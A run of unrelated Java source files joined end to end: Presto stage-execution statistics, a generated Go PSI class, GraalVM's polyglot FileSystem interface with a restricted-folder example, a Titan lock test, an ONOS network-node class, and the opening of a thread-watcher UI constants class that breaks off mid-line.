/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.facebook.presto.execution; import com.facebook.airlift.stats.Distribution.DistributionSnapshot; import com.facebook.presto.common.RuntimeStats; import com.facebook.presto.operator.BlockedReason; import com.facebook.presto.operator.OperatorStats; import com.facebook.presto.operator.PipelineStats; import com.facebook.presto.operator.TaskStats; import com.facebook.presto.spi.eventlistener.StageGcStatistics; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; import com.google.common.collect.ImmutableList; import io.airlift.units.DataSize; import org.joda.time.DateTime; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Optional; import java.util.Set; import static com.facebook.presto.common.RuntimeMetricName.DRIVER_COUNT_PER_TASK; import static com.facebook.presto.common.RuntimeMetricName.GET_SPLITS_TIME_NANOS; import static com.facebook.presto.common.RuntimeMetricName.TASK_BLOCKED_TIME_NANOS; import static com.facebook.presto.common.RuntimeMetricName.TASK_ELAPSED_TIME_NANOS; import static com.facebook.presto.common.RuntimeMetricName.TASK_QUEUED_TIME_NANOS; import static com.facebook.presto.common.RuntimeMetricName.TASK_SCHEDULED_TIME_NANOS; import static com.facebook.presto.common.RuntimeUnit.NANO; import static com.facebook.presto.common.RuntimeUnit.NONE; import static com.facebook.presto.execution.StageExecutionState.FINISHED; import static io.airlift.units.DataSize.succinctBytes; import static io.airlift.units.Duration.succinctDuration; import static java.lang.Math.max; import static java.lang.Math.min; import static java.lang.Math.toIntExact; import static java.util.Objects.requireNonNull; import static java.util.concurrent.TimeUnit.MILLISECONDS; import static java.util.concurrent.TimeUnit.NANOSECONDS; public class StageExecutionInfo { private final StageExecutionState state; private final StageExecutionStats stats; private final List<TaskInfo> tasks; private final Optional<ExecutionFailureInfo> failureCause; public static StageExecutionInfo create( StageExecutionId stageExecutionId, StageExecutionState state, Optional<ExecutionFailureInfo> failureInfo, List<TaskInfo> taskInfos, DateTime schedulingComplete, DistributionSnapshot getSplitDistribution, DataSize peakUserMemoryReservation, DataSize peakNodeTotalMemoryReservation, int finishedLifespans, int totalLifespans) { int totalTasks = taskInfos.size(); int runningTasks = 0; int completedTasks = 0; int totalDrivers = 0; int queuedDrivers = 0; int runningDrivers = 0; int blockedDrivers = 0; int completedDrivers = 0; double cumulativeUserMemory = 0; double cumulativeTotalMemory = 0; long userMemoryReservation = 0; long totalMemoryReservation = 0; long totalScheduledTime = 0; long totalCpuTime = 0; long retriedCpuTime = 0; long totalBlockedTime = 0; long totalAllocation = 0; long rawInputDataSize = 0; long rawInputPositions = 0; long processedInputDataSize = 0; long processedInputPositions = 0; long bufferedDataSize = 0; long outputDataSize = 0; long outputPositions = 0; long physicalWrittenDataSize = 0; int fullGcCount = 0; int fullGcTaskCount = 0; int minFullGcSec = 0; int maxFullGcSec = 0; int totalFullGcSec = 0; boolean fullyBlocked = true; Set<BlockedReason> blockedReasons = new HashSet<>(); Map<String, OperatorStats> operatorToStats = new HashMap<>(); RuntimeStats mergedRuntimeStats = new RuntimeStats(); mergedRuntimeStats.addMetricValueIgnoreZero(GET_SPLITS_TIME_NANOS, NANO, (long) getSplitDistribution.getTotal()); for (TaskInfo taskInfo : taskInfos) { TaskState taskState = taskInfo.getTaskStatus().getState(); if (taskState.isDone()) { completedTasks++; } else { runningTasks++; } TaskStats taskStats = taskInfo.getStats(); totalDrivers += taskStats.getTotalDrivers(); queuedDrivers += taskStats.getQueuedDrivers(); runningDrivers += taskStats.getRunningDrivers(); blockedDrivers += taskStats.getBlockedDrivers(); completedDrivers += taskStats.getCompletedDrivers(); cumulativeUserMemory += taskStats.getCumulativeUserMemory(); cumulativeTotalMemory += taskStats.getCumulativeTotalMemory(); long taskUserMemory = taskStats.getUserMemoryReservationInBytes(); long taskSystemMemory = taskStats.getSystemMemoryReservationInBytes(); userMemoryReservation += taskUserMemory; totalMemoryReservation += taskUserMemory + taskSystemMemory; totalScheduledTime += taskStats.getTotalScheduledTimeInNanos(); totalCpuTime += taskStats.getTotalCpuTimeInNanos(); if (state == FINISHED && taskInfo.getTaskStatus().getState() == TaskState.FAILED) { retriedCpuTime += taskStats.getTotalCpuTimeInNanos(); } totalBlockedTime += taskStats.getTotalBlockedTimeInNanos(); if (!taskState.isDone()) { fullyBlocked &= taskStats.isFullyBlocked(); blockedReasons.addAll(taskStats.getBlockedReasons()); } totalAllocation += taskStats.getTotalAllocationInBytes(); rawInputDataSize += taskStats.getRawInputDataSizeInBytes(); rawInputPositions += taskStats.getRawInputPositions(); processedInputDataSize += taskStats.getProcessedInputDataSizeInBytes(); processedInputPositions += taskStats.getProcessedInputPositions(); bufferedDataSize += taskInfo.getOutputBuffers().getTotalBufferedBytes(); outputDataSize += taskStats.getOutputDataSizeInBytes(); outputPositions += taskStats.getOutputPositions(); physicalWrittenDataSize += taskStats.getPhysicalWrittenDataSizeInBytes(); fullGcCount += taskStats.getFullGcCount(); fullGcTaskCount += taskStats.getFullGcCount() > 0 ? 1 : 0; int gcSec = toIntExact(MILLISECONDS.toSeconds(taskStats.getFullGcTimeInMillis())); totalFullGcSec += gcSec; minFullGcSec = min(minFullGcSec, gcSec); maxFullGcSec = max(maxFullGcSec, gcSec); for (PipelineStats pipeline : taskStats.getPipelines()) { for (OperatorStats operatorStats : pipeline.getOperatorSummaries()) { String id = pipeline.getPipelineId() + "." + operatorStats.getOperatorId(); operatorToStats.compute(id, (k, v) -> v == null ? operatorStats : v.add(operatorStats)); } } mergedRuntimeStats.mergeWith(taskStats.getRuntimeStats()); mergedRuntimeStats.addMetricValue(DRIVER_COUNT_PER_TASK, NONE, taskStats.getTotalDrivers()); mergedRuntimeStats.addMetricValue(TASK_ELAPSED_TIME_NANOS, NANO, taskStats.getElapsedTimeInNanos()); mergedRuntimeStats.addMetricValueIgnoreZero(TASK_QUEUED_TIME_NANOS, NANO, taskStats.getQueuedTimeInNanos()); mergedRuntimeStats.addMetricValue(TASK_SCHEDULED_TIME_NANOS, NANO, taskStats.getTotalScheduledTimeInNanos()); mergedRuntimeStats.addMetricValueIgnoreZero(TASK_BLOCKED_TIME_NANOS, NANO, taskStats.getTotalBlockedTimeInNanos()); } StageExecutionStats stageExecutionStats = new StageExecutionStats( schedulingComplete, getSplitDistribution, totalTasks, runningTasks, completedTasks, totalLifespans, finishedLifespans, totalDrivers, queuedDrivers, runningDrivers, blockedDrivers, completedDrivers, cumulativeUserMemory, cumulativeTotalMemory, succinctBytes(userMemoryReservation), succinctBytes(totalMemoryReservation), peakUserMemoryReservation, peakNodeTotalMemoryReservation, succinctDuration(totalScheduledTime, NANOSECONDS), succinctDuration(totalCpuTime, NANOSECONDS), succinctDuration(retriedCpuTime, NANOSECONDS), succinctDuration(totalBlockedTime, NANOSECONDS), fullyBlocked && runningTasks > 0, blockedReasons, succinctBytes(totalAllocation), succinctBytes(rawInputDataSize), rawInputPositions, succinctBytes(processedInputDataSize), processedInputPositions, succinctBytes(bufferedDataSize), succinctBytes(outputDataSize), outputPositions, succinctBytes(physicalWrittenDataSize), new StageGcStatistics( stageExecutionId.getStageId().getId(), stageExecutionId.getId(), totalTasks, fullGcTaskCount, minFullGcSec, maxFullGcSec, totalFullGcSec, (int) (1.0 * totalFullGcSec / fullGcCount)), ImmutableList.copyOf(operatorToStats.values()), mergedRuntimeStats); return new StageExecutionInfo( state, stageExecutionStats, taskInfos, failureInfo); } @JsonCreator public StageExecutionInfo( @JsonProperty("state") StageExecutionState state, @JsonProperty("stats") StageExecutionStats stats, @JsonProperty("tasks") List<TaskInfo> tasks, @JsonProperty("failureCause") Optional<ExecutionFailureInfo> failureCause) { this.state = requireNonNull(state, "state is null"); this.stats = requireNonNull(stats, "stats is null"); this.tasks = ImmutableList.copyOf(requireNonNull(tasks, "tasks is null")); this.failureCause = requireNonNull(failureCause, "failureCause is null"); } @JsonProperty public StageExecutionState getState() { return state; } @JsonProperty public StageExecutionStats getStats() { return stats; } @JsonProperty public List<TaskInfo> getTasks() { return tasks; } @JsonProperty public Optional<ExecutionFailureInfo> getFailureCause() { return failureCause; } public boolean isFinal() { return state.isDone() && tasks.stream().allMatch(taskInfo -> taskInfo.getTaskStatus().getState().isDone()); } public static StageExecutionInfo unscheduledExecutionInfo(int stageId, boolean isQueryDone) { return new StageExecutionInfo( isQueryDone ? StageExecutionState.ABORTED : StageExecutionState.PLANNED, StageExecutionStats.zero(stageId), ImmutableList.of(), Optional.empty()); } }
/* * Copyright 2013-2016 Sergey Ignatov, Alexander Zolotov, Florin Patan * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // This is a generated file. Not intended for manual editing. package com.dexscript.psi.impl; import com.dexscript.psi.*; import org.jetbrains.annotations.*; import com.intellij.lang.ASTNode; import com.intellij.psi.PsiElementVisitor; import com.dexscript.psi.GoPsiTreeUtil; import com.dexscript.psi.*; public class GoSimpleStatementImpl extends GoStatementImpl implements GoSimpleStatement { public GoSimpleStatementImpl(ASTNode node) { super(node); } public void accept(@NotNull GoVisitor visitor) { visitor.visitSimpleStatement(this); } public void accept(@NotNull PsiElementVisitor visitor) { if (visitor instanceof GoVisitor) accept((GoVisitor)visitor); else super.accept(visitor); } @Override @Nullable public GoLeftHandExprList getLeftHandExprList() { return GoPsiTreeUtil.getChildOfType(this, GoLeftHandExprList.class); } @Override @Nullable public GoShortVarDeclaration getShortVarDeclaration() { return GoPsiTreeUtil.getChildOfType(this, GoShortVarDeclaration.class); } @Override @Nullable public GoStatement getStatement() { return GoPsiTreeUtil.getChildOfType(this, GoStatement.class); } }
/* * Copyright (c) 2018, 2020, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * The Universal Permissive License (UPL), Version 1.0 * * Subject to the condition set forth below, permission is hereby granted to any * person obtaining a copy of this software, associated documentation and/or * data (collectively the "Software"), free of charge and under any and all * copyright rights in the Software, and any and all patent rights owned or * freely licensable by each licensor hereunder covering either (i) the * unmodified Software as contributed to or provided by such licensor, or (ii) * the Larger Works (as defined below), to deal in both * * (a) the Software, and * * (b) any piece of software and/or hardware listed in the lrgrwrks.txt file if * one is included with the Software each a "Larger Work" to which the Software * is contributed by such licensors), * * without restriction, including without limitation the rights to copy, create * derivative works of, display, perform, and distribute the Software and make, * use, sell, offer for sale, import, export, have made, and have sold the * Software and the Larger Work(s), and to sublicense the foregoing rights on * either these or other terms. * * This license is subject to the following condition: * * The above copyright notice and either this complete permission notice or at a * minimum a reference to the UPL must be included in all copies or substantial * portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package org.graalvm.polyglot.io; import java.io.File; import java.io.IOException; import java.net.URI; import java.nio.channels.SeekableByteChannel; import java.nio.charset.Charset; import java.nio.file.AccessMode; import java.nio.file.AtomicMoveNotSupportedException; import java.nio.file.CopyOption; import java.nio.file.DirectoryNotEmptyException; import java.nio.file.DirectoryStream; import java.nio.file.FileAlreadyExistsException; import java.nio.file.LinkOption; import java.nio.file.NoSuchFileException; import java.nio.file.NotDirectoryException; import java.nio.file.NotLinkException; import java.nio.file.OpenOption; import java.nio.file.Path; import java.nio.file.StandardCopyOption; import java.nio.file.StandardOpenOption; import java.nio.file.attribute.FileAttribute; import java.nio.file.attribute.FileAttributeView; import java.util.Collection; import java.util.Map; import java.util.Objects; import java.util.Set; /** * Service-provider for {@code Truffle} files. * * @since 19.0 */ public interface FileSystem { /** * Parses a path from an {@link URI}. * * @param uri the {@link URI} to be converted to {@link Path} * @return the {@link Path} representing given {@link URI} * @throws UnsupportedOperationException when {@link URI} scheme is not supported * @since 19.0 */ Path parsePath(URI uri); /** * Parses a path from a {@link String}. This method is called only on the {@link FileSystem} * with {@code file} scheme. * * @param path the string path to be converted to {@link Path} * @return the {@link Path} * @throws UnsupportedOperationException when the {@link FileSystem} supports only {@link URI} * @since 19.0 */ Path parsePath(String path); /** * Checks existence and accessibility of a file. * * @param path the path to the file to check * @param modes the access modes to check, possibly empty to check existence only. * @param linkOptions options determining how the symbolic links should be handled * @throws NoSuchFileException if the file denoted by the path does not exist * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ void checkAccess(Path path, Set<? extends AccessMode> modes, LinkOption... linkOptions) throws IOException; /** * Creates a directory. * * @param dir the directory to create * @param attrs the optional attributes to set atomically when creating the directory * @throws FileAlreadyExistsException if a file on given path already exists * @throws IOException in case of IO error * @throws UnsupportedOperationException if the attributes contain an attribute which cannot be * set atomically * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ void createDirectory(Path dir, FileAttribute<?>... attrs) throws IOException; /** * Deletes a file. * * @param path the path to the file to delete * @throws NoSuchFileException if a file on given path does not exist * @throws DirectoryNotEmptyException if the path denotes a non empty directory * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ void delete(Path path) throws IOException; /** * Opens or creates a file returning a {@link SeekableByteChannel} to access the file content. * * @param path the path to the file to open * @param options the options specifying how the file should be opened * @param attrs the optional attributes to set atomically when creating the new file * @return the created {@link SeekableByteChannel} * @throws FileAlreadyExistsException if {@link StandardOpenOption#CREATE_NEW} option is set and * a file already exists on given path * @throws IOException in case of IO error * @throws UnsupportedOperationException if the attributes contain an attribute which cannot be * set atomically * @throws IllegalArgumentException in case of invalid options combination * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ SeekableByteChannel newByteChannel(Path path, Set<? extends OpenOption> options, FileAttribute<?>... attrs) throws IOException; /** * Returns directory entries. * * @param dir the path to the directory to iterate entries for * @param filter the filter * @return the new {@link DirectoryStream} * @throws NotDirectoryException when given path does not denote a directory * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ DirectoryStream<Path> newDirectoryStream(Path dir, DirectoryStream.Filter<? super Path> filter) throws IOException; /** * Resolves given path to an absolute path. * * @param path the path to resolve, may be a non normalized path * @return an absolute {@link Path} * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ Path toAbsolutePath(Path path); /** * Returns the real (canonical) path of an existing file. * * @param path the path to resolve, may be a non normalized path * @param linkOptions options determining how the symbolic links should be handled * @return an absolute canonical path * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ Path toRealPath(Path path, LinkOption... linkOptions) throws IOException; /** * Reads a file's attributes as a bulk operation. * * @param path the path to file to read attributes for * @param attributes the attributes to read. The {@code attributes} parameter has the form: * {@code [view-name:]attribute-list}. The optional {@code view-name} corresponds to * {@link FileAttributeView#name()} and determines the set of attributes, the default * value is {@code "basic"}. The {@code attribute-list} is a comma separated list of * attributes. If the {@code attribute-list} contains {@code '*'} then all the * attributes from given view are read. * @param options the options determining how the symbolic links should be handled * @return the {@link Map} containing the file attributes. The map's keys are attribute names, * map's values are the attribute values. The map may contain a subset of required * attributes in case when the {@code FileSystem} does not support some of the required * attributes. * @throws UnsupportedOperationException if the attribute view is not supported. At least the * {@code "basic"} attribute view has to be supported by the file system. * @throws IllegalArgumentException is the {@code attribute-list} is empty or contains an * unknown attribute * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ Map<String, Object> readAttributes(Path path, String attributes, LinkOption... options) throws IOException; /** * Sets a file's attribute. * * @param path the path to file to set an attribute to * @param attribute the attribute to set. The {@code attribute} parameter has the form: * {@code [view-name:]attribute-name}. The optional {@code view-name} corresponds to * {@link FileAttributeView#name()} and determines the set of attributes, the default * value is {@code "basic"}. The {@code attribute-name} is a name of an attribute. * @param value the attribute value * @param options the options determining how the symbolic links should be handled * @throws ClassCastException if {@code value} is not of the expected type or {@code value} is a * {@link Collection} containing element of a non expected type * @throws UnsupportedOperationException if the attribute view is not supported. * @throws IllegalArgumentException is the {@code attribute-name} is an unknown attribute or * {@code value} has an inappropriate value * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ default void setAttribute(Path path, String attribute, Object value, LinkOption... options) throws IOException { throw new UnsupportedOperationException("Setting attributes is not supported"); } /** * Copies source file to target file. * * @param source the path to file to copy * @param target the path to the target file * @param options the options specifying how the copy should be performed, see * {@link StandardCopyOption} * @throws UnsupportedOperationException if {@code options} contains unsupported option * @throws FileAlreadyExistsException if the target path already exists and the {@code options} * don't contain {@link StandardCopyOption#REPLACE_EXISTING} option * @throws DirectoryNotEmptyException if the {@code options} contain * {@link StandardCopyOption#REPLACE_EXISTING} but the {@code target} is a non empty * directory * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ default void copy(Path source, Path target, CopyOption... options) throws IOException { IOHelper.copy(source, target, this, options); } /** * Moves (renames) source file to target file. * * @param source the path to file to move * @param target the path to the target file * @param options the options specifying how the move should be performed, see * {@link StandardCopyOption} * @throws UnsupportedOperationException if {@code options} contains unsupported option * @throws FileAlreadyExistsException if the target path already exists and the {@code options} * don't contain {@link StandardCopyOption#REPLACE_EXISTING} option * @throws DirectoryNotEmptyException if the {@code options} contain * {@link StandardCopyOption#REPLACE_EXISTING} but the {@code target} is a non empty * directory * @throws AtomicMoveNotSupportedException if the {@code options} contain * {@link StandardCopyOption#ATOMIC_MOVE} but file cannot be moved atomically * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ default void move(Path source, Path target, CopyOption... options) throws IOException { IOHelper.move(source, target, this, options); } /** * Creates a new link for an existing file. * * @param link the path to link to create * @param existing the path to existing file * @throws UnsupportedOperationException if links are not supported by file system * @throws FileAlreadyExistsException if a file on given link path already exists * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ default void createLink(Path link, Path existing) throws IOException { throw new UnsupportedOperationException("Links are not supported"); } /** * Creates a new symbolic link. * * @param link the path to symbolic link to create * @param target the target path of the symbolic link * @param attrs the optional attributes to set atomically when creating the new symbolic link * @throws UnsupportedOperationException if symbolic links are not supported by file system * @throws FileAlreadyExistsException if a file on given link path already exists * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ default void createSymbolicLink(Path link, Path target, FileAttribute<?>... attrs) throws IOException { throw new UnsupportedOperationException("Links are not supported"); } /** * Reads the target of the symbolic link. * * @param link the path to symbolic link to read * @return the {@link Path} representing the symbolic link target * @throws UnsupportedOperationException if symbolic links are not supported by file system * @throws NotLinkException if the {@code link} does not denote a symbolic link * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 19.0 */ default Path readSymbolicLink(Path link) throws IOException { throw new UnsupportedOperationException("Links are not supported"); } /** * Sets the current working directory. The current working directory is used to resolve non * absolute paths in {@link FileSystem} operations. * * @param currentWorkingDirectory the new current working directory * @throws UnsupportedOperationException if setting of the current working directory is not * supported * @throws IllegalArgumentException if the {@code currentWorkingDirectory} is not a valid * current working directory * @throws SecurityException if {@code currentWorkingDirectory} is not readable * @since 19.0 */ default void setCurrentWorkingDirectory(Path currentWorkingDirectory) { throw new UnsupportedOperationException("Setting current working directory is not supported."); } /** * Returns the name separator used to separate names in a path string. The separator is used * when creating path strings by invoking the {@link Path#toString() toString()} method. * * @return the name separator * @since 19.0 */ default String getSeparator() { return parsePath("").getFileSystem().getSeparator(); } /** * Returns the path separator used to separate filenames in a path list. On UNIX the path * separator is {@code ':'}. On Windows it's {@code ';'}. * * @return the path separator * @since 19.1.0 */ default String getPathSeparator() { return File.pathSeparator; } /** * Returns a MIME type for given path. An optional operation for {@link FileSystem filesystem} * implementations which can provide MIME types in an efficient way. * * @param path the file to find a MIME type for * @return the MIME type or {@code null} if the MIME type is not recognized or the * {@link FileSystem filesystem} does not support MIME type detection * @since 19.0 */ default String getMimeType(Path path) { Objects.requireNonNull(path); return null; } /** * Returns an file encoding for given path. An optional operation for {@link FileSystem * filesystem} implementations which can provide file encodings in an efficient way. * * @param path the file to find an file encoding for * @return the file encoding or {@code null} if the file encoding is not detected or the * {@link FileSystem filesystem} does not support file encoding detection * @since 19.0 */ default Charset getEncoding(Path path) { Objects.requireNonNull(path); return null; } /** * Returns the default temporary directory. * * @since 19.3.0 */ default Path getTempDirectory() { throw new UnsupportedOperationException("Temporary directories not supported"); } /** * Tests if the given paths refer to the same physical file. * * The default implementation firstly converts the paths into absolute paths. If the absolute * paths are equal it returns {@code true} without checking if the file exists. Otherwise, this * method converts the paths into canonical representations and tests the canonical paths for * equality. The {@link FileSystem} may re-implement the method with a more efficient test. When * re-implemented the method must have the same security privileges as the * {@link #toAbsolutePath(Path) toAbsolutePath} and {@link #toRealPath(Path, LinkOption...) * toRealPath}. * * @param path1 the path to the file * @param path2 the other path * @param options the options determining how the symbolic links should be handled * @return {@code true} if the given paths refer to the same physical file * @throws IOException in case of IO error * @throws SecurityException if this {@link FileSystem} denied the operation * @since 20.2.0 */ default boolean isSameFile(Path path1, Path path2, LinkOption... options) throws IOException { if (toAbsolutePath(path1).equals(toAbsolutePath(path2))) { return true; } return toRealPath(path1, options).equals(toRealPath(path2, options)); } /** * Creates a {@link FileSystem} implementation based on the host Java NIO. The returned instance * can be used as a delegate by a decorating {@link FileSystem}. * <p> * The following example shows a {@link FileSystem} restricting an IO access only to a given * folder. * * <pre> * class RestrictedFileSystem implements FileSystem { * * private final FileSystem delegate; * private final Path allowedFolder; * * RestrictedFileSystem(String allowedFolder) throws IOException { * this.delegate = FileSystem.newDefaultFileSystem(); * this.allowedFolder = delegate.toRealPath( * delegate.parsePath(allowedFolder)); * } * * &#64;Override * public Path parsePath(String path) { * return delegate.parsePath(path); * } * * &#64;Override * public Path parsePath(URI uri) { * return delegate.parsePath(uri); * } * * &#64;Override * public SeekableByteChannel newByteChannel(Path path, * Set&lt;? extends OpenOption&gt; options, * FileAttribute&lt;?&gt;... attrs) throws IOException { * verifyAccess(path); * return delegate.newByteChannel(path, options, attrs); * } * * private void verifyAccess(Path path) { * Path realPath = null; * for (Path c = path; c != null; c = c.getParent()) { * try { * realPath = delegate.toRealPath(c); * break; * } catch (IOException ioe) { * } * } * if (realPath == null || !realPath.startsWith(allowedFolder)) { * throw new SecurityException("Access to " + path + " is denied."); * } * } * } * </pre> * * @see org.graalvm.polyglot.Context.Builder#fileSystem(FileSystem) * * @since 20.2.0 */ static FileSystem newDefaultFileSystem() { return IOHelper.IMPL.newDefaultFileSystem(); } }
package com.thinkaurelius.titan.diskstorage.locking; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.mockito.Mockito.mock; import java.nio.ByteBuffer; import org.junit.Test; public class LocalLockMediatorTest { private static final String LOCK_NAMESPACE = "test"; private static final ByteBuffer LOCK_ROW = ByteBuffer.wrap(new byte[] { 1 }); private static final ByteBuffer LOCK_COL = ByteBuffer.wrap(new byte[] { 1 }); private static final KeyColumn kc = new KeyColumn(LOCK_ROW, LOCK_COL); // private static final long LOCK_EXPIRATION_TIME_MS = 1; // private static final long SLEEP_MS = LOCK_EXPIRATION_TIME_MS * 1000; private static final LockingTransactionHandle mockTx1 = mock(LockingTransactionHandle.class); private static final LockingTransactionHandle mockTx2 = mock(LockingTransactionHandle.class); @Test public void testLockExpiration() throws InterruptedException { LocalLockMediator llm = new LocalLockMediator(LOCK_NAMESPACE); assertTrue(llm.lock(kc, mockTx1, 0)); assertTrue(llm.lock(kc, mockTx2, Long.MAX_VALUE)); llm = new LocalLockMediator(LOCK_NAMESPACE); assertTrue(llm.lock(kc, mockTx1, Long.MAX_VALUE)); assertFalse(llm.lock(kc, mockTx2, Long.MAX_VALUE)); } }
package com.test.cloud; import java.time.ZonedDateTime; public class Test { public static void main(String[] args) { // 2021-01-31T18:47:58.954+08:00[Asia/Shanghai] ZonedDateTime zonedDateTime = ZonedDateTime.now(); System.out.println(zonedDateTime); } }
/* * Copyright 2016-present Open Networking Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.onosproject.tetopology.management.impl; import java.util.List; import java.util.Map; import org.apache.commons.collections.MapUtils; import org.onosproject.tetopology.management.api.KeyId; import org.onosproject.tetopology.management.api.node.NetworkNode; import org.onosproject.tetopology.management.api.node.NetworkNodeKey; import org.onosproject.tetopology.management.api.node.TeNodeKey; import org.onosproject.tetopology.management.api.node.TerminationPoint; import com.google.common.base.MoreObjects; import com.google.common.base.Objects; import com.google.common.collect.ImmutableList; import com.google.common.collect.Lists; /** * Network Node representation in store. */ public class InternalNetworkNode { private List<NetworkNodeKey> supportingNodeIds; private List<KeyId> tpIds; private TeNodeKey teNodeKey; private boolean parentUpdate; private boolean childUpdate; /** * Creates an instance of InternalNetworkNode. * * @param node the network node * @param parentUpdate the flag if the data is updated by parent */ public InternalNetworkNode(NetworkNode node, boolean parentUpdate) { supportingNodeIds = node .supportingNodeIds() == null ? null : Lists.newArrayList(node .supportingNodeIds()); if (MapUtils.isNotEmpty(node.terminationPoints())) { tpIds = Lists.newArrayList(); for (Map.Entry<KeyId, TerminationPoint> entry : node .terminationPoints().entrySet()) { tpIds.add(entry.getKey()); } } this.parentUpdate = parentUpdate; } /** * Returns the list of supporting node Ids. * * @return the supporting nodeIds */ public List<NetworkNodeKey> supportingNodeIds() { return supportingNodeIds == null ? null : ImmutableList .copyOf(supportingNodeIds); } /** * Sets the list of supporting node Ids. * * @param supportingNodeIds the supportingNodeIds to set */ public void setSupportingNodeIds(List<NetworkNodeKey> supportingNodeIds) { this.supportingNodeIds = supportingNodeIds == null ? null : Lists.newArrayList(supportingNodeIds); } /** * Returns the list of termination point Ids. * * @return the termination point Ids */ public List<KeyId> tpIds() { return tpIds; } /** * Sets the list of termination point Ids. * * @param tpIds the tpIds to set */ public void setTpIds(List<KeyId> tpIds) { this.tpIds = tpIds; } /** * Returns the TE Node key. * * @return the teNodeKey */ public TeNodeKey teNodeKey() { return teNodeKey; } /** * Sets the TE Node key. * * @param teNodeKey the teNodeKey to set */ public void setTeNodeKey(TeNodeKey teNodeKey) { this.teNodeKey = teNodeKey; } /** * Returns the flag if the data was updated by parent change. * * @return value of parentUpdate */ public boolean parentUpdate() { return parentUpdate; } /** * Returns the flag if the data was updated by child change. * * @return value of childUpdate */ public boolean childUpdate() { return childUpdate; } /** * Sets the flag if the data was updated by child change. * * @param childUpdate the childUpdate value to set */ public void setChildUpdate(boolean childUpdate) { this.childUpdate = childUpdate; } @Override public int hashCode() { return Objects.hashCode(supportingNodeIds, tpIds, teNodeKey); } @Override public boolean equals(Object object) { if (this == object) { return true; } if (object instanceof InternalNetworkNode) { InternalNetworkNode that = (InternalNetworkNode) object; return Objects.equal(supportingNodeIds, that.supportingNodeIds) && Objects.equal(tpIds, that.tpIds) && Objects.equal(teNodeKey, that.teNodeKey); } return false; } @Override public String toString() { return MoreObjects.toStringHelper(this) .add("supportingNodeIds", supportingNodeIds) .add("tpIds", tpIds) .add("teNodeKey", teNodeKey) .add("parentUpdate", parentUpdate) .add("childUpdate", childUpdate) .toString(); } }
/** * Copyright 2013 Tobias Gierke <tobias.gierke@code-sourcery.de> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package de.codesourcery.threadwatcher.ui; import static de.codesourcery.threadwatcher.ui.UIConstants.*; import java.awt.Color; import java.util.ArrayList; import java.util.List; import de.codesourcery.threadwatcher.JVMTIThreadState; import de.codesourcery.threadwatcher.ThreadEvent; public class UIConstants { // legend stuff public static final List<LegendItem> LEGEND_ITEMS = new ArrayList<>(); private static final Color COLOR_RUNNABLE = Color.GREEN; private static final Color COLOR_BLOCKED = Color.RED; private static final Color COLOR_WAITING_GENERAL = Color.YELLOW; private static final Color COLOR_WAITING_TIMEOUT= Color.BLUE; private static final Color COLOR_WAITING_INDEFINITELY = Color.CYAN; private static final Color COLOR_DEAD = Color.LIGHT_GRAY; private static final Color COLOR_SUSPENDED = Color.BLACK; private static final Color COLOR_SLEEPING = Color.PINK; public static final int LEGEND_BOX_WIDTH = 10; public static final int LEGEND_BOX_HEIGHT = 10; public static final 